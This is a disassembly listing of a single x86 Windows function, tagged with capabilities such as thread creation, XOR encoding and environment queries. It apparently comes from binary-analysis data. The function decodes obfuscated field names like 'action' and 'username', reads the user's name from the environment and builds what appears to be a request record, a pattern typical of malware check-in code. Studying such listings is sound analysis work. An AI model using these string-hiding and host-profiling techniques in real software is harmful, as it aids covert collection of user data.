Function at 0x4080a0
Capabilities:
Create thread
Encode data using xor
Query environment variable

Disassembly:
push ebp
lea ebp, [esp - 0x7c]
sub esp, 0x7c
push 0xffffffffffffffff
push 0x45c9b4
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x4730bc]
xor eax, ebp
mov dword [ebp + 0x78], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x18], edi
push 0
push 0
push 0
push 0x408940
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [edi + 0x18]
cmp eax, 0x4735b0
je 0x40810e
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x408102
mov eax, dword [eax]
push ecx
push eax
mov ecx, 0x4735b0
call fcn.004028c0
cmp dword [0x473594], 0
mov dword [ebp - 4], 0
jne 0x4087fc
mov dword [ebp], 0
mov dword [ebp + 0x10], 0
mov dword [ebp + 0x14], 0xf
mov byte [ebp], 0
push 4
mov byte [ebp - 4], 1
call fcn.0045aab6
add esp, 4
mov dword [ebp + 0x64], eax
mov byte [ebp - 4], 2
test eax, eax
je 0x40815b
mov ecx, eax
call fcn.0040e110
mov byte [ebp - 4], 1
call fcn.004055d0
push 0
push 0x45e707
mov ecx, 0x4734a8
mov byte [0x4734a4], 0
call fcn.004028c0
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push 0x1024
call esi
push 0x1024
push 0
push eax
mov dword [0x473574], eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
lea eax, [ebp + 0x44]
lea ecx, [ebp - 0x11]
push 0x20
push eax
call fcn.004114a0
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x4081b6
mov ecx, dword [ecx]
mov edx, dword [0x473574]
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx], al
lea edx, [edx + 1]
test al, al
jne 0x4081c0
mov ecx, dword [ebp + 0x58]
cmp ecx, 0x10
jb 0x408204
mov edx, dword [ebp + 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4081fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4081fa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
push 0x1024
call esi
push 0x1024
mov ebx, eax
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov dword [ebp + 0x70], 0x393b2d2c
mov dword [ebp + 0x74], 0x1003727
xor ecx, ecx
nop dword [eax]
mov al, cl
add al, 0x4d
xor byte [ebp + ecx + 0x70], al
inc ecx
cmp ecx, 6
jb 0x408230
lea eax, [ebp - 0x12]
mov byte [ebp + 0x77], 0
push eax
lea eax, [ebp + 0x76]
push eax
lea eax, [ebp + 0x70]
push eax
lea ecx, [ebp + 0x44]
call fcn.004037e0
lea eax, [ebp + 0x44]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp + 0x18]
push eax
call fcn.0040f490
add esp, 8
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 4
jb 0x408278
mov edx, dword [edx]
mov dword [ebp + 0x60], 0x393b2d2c
xor ecx, ecx
mov dword [ebp + 0x64], 0x1003c3e
mov al, cl
add al, 0x4d
xor byte [ebp + ecx + 0x60], al
inc ecx
cmp ecx, 6
jb 0x408288
push edx
lea eax, [ebp + 0x60]
mov byte [ebp + 0x67], 0
push eax
lea ecx, [ebp]
call fcn.0040d2b0
mov ecx, dword [ebp + 0x2c]
mov byte [ebp - 4], 3
cmp ecx, 0x10
jb 0x4082db
mov edx, dword [ebp + 0x18]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4082d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408317
push ecx
push edx
call fcn.0045aae6
add esp, 8
mov ecx, dword [ebp + 0x58]
mov dword [ebp + 0x28], 0
mov dword [ebp + 0x2c], 0xf
mov byte [ebp + 0x18], 0
mov byte [ebp - 4], 1
cmp ecx, 0x10
jb 0x408327
mov edx, dword [ebp + 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40831d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40831d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
sub esp, 0x18
lea eax, [edi + 0x48]
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp + 0x44]
push eax
lea ecx, [ebp - 0x11]
call fcn.00411120
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 5
jb 0x40834f
mov edx, dword [edx]
mov dword [ebp + 0x68], 0x3c3f3e2c
xor ecx, ecx
mov dword [ebp + 0x6c], 0x20323138
mov dword [ebp + 0x70], 0x739393c
mov dword [ebp + 0x74], 0x1003e30
nop dword [eax]
mov al, cl
add al, 0x4d
xor byte [ebp + ecx + 0x68], al
inc ecx
cmp ecx, 0xe
jb 0x408370
push edx
lea eax, [ebp + 0x68]
mov byte [ebp + 0x77], 0
push eax
lea ecx, [ebp]
call fcn.0040d2b0
mov ecx, dword [ebp + 0x58]
mov byte [ebp - 4], 1
cmp ecx, 0x10
jb 0x4083c9
mov edx, dword [ebp + 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4083bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4083bf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x4734e4
call fcn.00402120
lea eax, [ebp + 0x44]
push eax
lea ecx, [ebp - 0x11]
call fcn.00411120
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 6
jb 0x4083f2
mov edx, dword [edx]
mov dword [ebp + 0x70], 0x20382620
xor ecx, ecx
mov word [ebp + 0x74], 0x35
mov byte [ebp + 0x76], 1
mov al, cl
add al, 0x4d
xor byte [ebp + ecx + 0x70], al
inc ecx
cmp ecx, 5
jb 0x408405
push edx
lea eax, [ebp + 0x70]
mov byte [ebp + 0x76], 0
push eax
lea ecx, [ebp]
call fcn.0040d2b0
mov ecx, dword [ebp + 0x58]
mov byte [ebp - 4], 1
cmp ecx, 0x10
jb 0x40845e
mov edx, dword [ebp + 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408454
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x408454
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
mov dword [ebp + 0x6c], 0x222a3d38
xor ecx, ecx
mov dword [ebp + 0x70], 0x313e333f
mov word [ebp + 0x74], 0x100
mov al, cl
add al, 0x4d
xor byte [ebp + ecx + 0x6c], al
inc ecx
cmp ecx, 8
jb 0x408474
lea eax, [ebp + 0x6c]
mov byte [ebp + 0x75], 0
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov edx, eax
mov dword [ebp + 0x18], 0
mov ecx, edx
mov dword [ebp + 0x28], 0
add esp, 4
mov dword [ebp + 0x2c], 0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4084b0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp + 0x18]
call fcn.00401e80
sub esp, 0x18
mov byte [ebp - 4], 7
lea eax, [ebp + 0x18]
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp + 0x44]
push eax
lea ecx, [ebp - 0x11]
call fcn.00411120
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 8
jb 0x4084ef
mov edx, dword [edx]
mov dword [ebp + 0x6c], 0x3136213f
xor ecx, ecx
mov dword [ebp + 0x70], 0x27260d3d
mov dword [ebp + 0x74], 0x1002430
mov al, cl
add al, 0x4d
xor byte [ebp + ecx + 0x6c], al
inc ecx
cmp ecx, 0xa
jb 0x408506
push edx
lea eax, [ebp + 0x6c]
mov byte [ebp + 0x77], 0
push eax
lea ecx, [ebp]
call fcn.0040d2b0
mov ecx, dword [ebp + 0x58]
mov byte [ebp - 4], 7
cmp ecx, 0x10
jb 0x40855f
mov edx, dword [ebp + 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408555
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x408555
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
mov ecx, dword [ebp + 0x2c]
mov byte [ebp - 4], 1
cmp ecx, 0x10
jb 0x408599
mov edx, dword [ebp + 0x18]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40858f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40858f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
mov edx, dword [0x473574]
mov ecx, edx
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x28], 0
mov dword [ebp + 0x2c], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4085c0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp + 0x18]
call fcn.00401e80
lea eax, [ebp + 0x18]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp + 0x44]
push eax
call fcn.0040f490
add esp, 8
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0xa
jb 0x4085f5
mov edx, dword [edx]
mov dword [ebp + 0x70], 0x3136213f
xor ecx, ecx
mov word [ebp + 0x74], 0x3d
mov byte [ebp + 0x76], 1
mov al, cl
add al, 0x4d
xor byte [ebp + ecx + 0x70], al
inc ecx
cmp ecx, 5
jb 0x408608
push edx
lea eax, [ebp + 0x70]
mov byte [ebp + 0x76], 0
push eax
lea ecx, [ebp]
call fcn.0040d2b0
mov ecx, dword [ebp + 0x58]
mov byte [ebp - 4], 9
cmp ecx, 0x10
jb 0x40865b
mov edx, dword [ebp + 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408651
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408697
push ecx
push edx
call fcn.0045aae6
add esp, 8
mov ecx, dword [ebp + 0x2c]
mov dword [ebp + 0x54], 0
mov dword [ebp + 0x58], 0xf
mov byte [ebp + 0x44], 0
mov byte [ebp - 4], 1
cmp ecx, 0x10
jb 0x4086a7
mov edx, dword [ebp + 0x18]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40869d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40869d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
movaps xmm0, xmmword [0x45e870]
lea ecx, [ebp]
movups xmmword [ebp + 0x30], xmm0
push 0
movaps xmm0, xmmword [0x45e8b0]
movups xmmword [ebp + 0x40], xmm0
mov dword [ebp + 0x50], 0x19030209
mov dword [ebp + 0x54], 0xc16161f
mov dword [ebp + 0x58], 0x81f065b
mov word [ebp + 0x5c], 0x100
call fcn.0040d470
sub esp, 0x18
mov esi, eax
mov edx, esp
mov dword [ebp + 0x64], esp
mov ecx, esi
mov dword [edx], 0
mov dword [edx + 0x10], 0
lea edi, [ecx + 1]
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408705
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00401e80
push ebx
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov edx, esp
mov dword [ebp + 0x74], edx
cmp byte [ebp + 0x5d], 0
je 0x408742
xor ecx, ecx
nop dword [eax]
mov al, cl
add al, 0x4d
xor byte [ebp + ecx + 0x30], al
inc ecx
cmp ecx, 0x2c
jb 0x408730
mov byte [ebp + 0x5d], 0
lea eax, [ebp - 0x12]
mov ecx, edx
push eax
lea eax, [ebp + 0x5c]
push eax
lea eax, [ebp + 0x30]
push eax
call fcn.004037e0
mov byte [ebp - 4], 1
call fcn.0040aec0
movzx ecx, byte [0x4734a5]
test al, al
mov edx, 1
cmove ecx, edx
cmp ebx, str.Req_IDNF
push 0x1024
movzx eax, cl
push 0
push dword [0x473578]
cmove eax, edx
mov byte [0x4734a5], al
call sub.VCRUNTIME140.dll_memset
mov esi, dword [0x473578]
add esp, 0x44
mov edx, ebx
nop dword [eax]
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi], al
lea esi, [esi + 1]
test al, al
jne 0x4087a0
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [ebp - 0x18]
add esp, 4
call fcn.00406450
inc dword [0x473594]
mov ecx, dword [ebp + 0x14]
cmp ecx, 0x10
jb 0x4087fc
mov edx, dword [ebp]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4087f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4087f2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045aae6
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x78]
xor ecx, ebp
call fcn.0045aaf4
lea esp, [ebp + 0x7c]
pop ebp
ret